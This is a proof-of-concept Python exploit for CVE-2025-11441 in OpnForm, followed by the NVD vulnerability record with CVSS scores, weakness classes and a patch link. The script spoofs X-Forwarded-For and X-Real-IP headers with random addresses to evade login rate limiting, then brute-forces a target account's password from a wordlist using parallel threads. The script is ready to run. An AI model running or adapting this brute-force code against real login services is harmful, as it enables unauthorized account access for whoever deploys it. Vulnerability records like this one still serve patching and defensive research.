CVE-2025-11441

#!/usr/bin/env python3 # CVE-2025-11441 - OpnForm X-Forwarded-For Authentication Bypass PoC # This PoC demonstrates bypassing login rate limiting by spoofing X-Forwarded-For header import requests import random import string import time from concurrent.futures import ThreadPoolExecutor TARGET_URL = "https://target-opnform.example.com/api/login" USERNAME = "[email protected]" PASSWORD_WORDLIST = ["password", "admin123", "123456", "Password1", "letmein"] def generate_random_ip(): """Generate a random IP address to spoof X-Forwarded-For header""" return f"{random.randint(1, 254)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(1, 254)}" def attempt_login(password): """Attempt login with spoofed X-Forwarded-For header""" spoofed_ip = generate_random_ip() headers = { "X-Forwarded-For": spoofed_ip, "X-Real-IP": spoofed_ip, "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } payload = { "email": USERNAME, "password": password } try: response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) if response.status_code == 200 and "token" in response.text.lower(): print(f"[+] SUCCESS! Password found: {password}") return password elif response.status_code == 429: print(f"[-] Rate limited (should not happen with PoC)") else: print(f"[*] Attempted '{password}' from spoofed IP {spoofed_ip} - Status: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") return None def main(): print(f"[*] Starting CVE-2025-11441 PoC against {TARGET_URL}") print(f"[*] Target user: {USERNAME}") with ThreadPoolExecutor(max_workers=10) as executor: results = executor.map(attempt_login, PASSWORD_WORDLIST * 5) print("[*] PoC execution completed") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-11441", "sourceIdentifier": "[email protected]", "published": "2025-10-08T07:15:33.080", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in JhumanJ OpnForm up to 1.9.3. The affected element is an unknown function of the component HTTP Header Handler. The manipulation of the argument X-Forwarded-For leads to improper restriction of excessive authentication attempts. The attack is possible to be carried out remotely. A high degree of complexity is needed for the attack. The exploitability is described as difficult. The exploit is publicly available and might be used. The identifier of the patch is 11e99960e14ca986b1a001a56e7533223d2cfa5b. It is suggested to install a patch to address this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "baseScore": 2.6, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 4.9, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}, {"lang": "en", "value": "CWE-799"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jhumanj:opnform:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.9.3", "matchCriteriaId": "C896A041-D9C4-42F0-9477-C57E07D6EFF6"}]}]}], "references": [{"url": "https://docs.google.com/document/d/1GUjJA9vUbsXUngAv6ySsbCIhVynf8_djardLZYEDOe0/edit?tab=t.0#heading=h.va2ituwwqcf3", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/JhumanJ/OpnForm/pull/900/commits/11e99960e14ca986b1a001a56e7533223d2cfa5b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://vuldb.com/?ctiid.327378", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327378", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.666888", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://docs.google.com/document/d/1GUjJA9vUbsXUngAv6ySsbCIhVynf8_djardLZYEDOe0/edit?tab=t.0#heading=h.va2ituwwqcf3", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}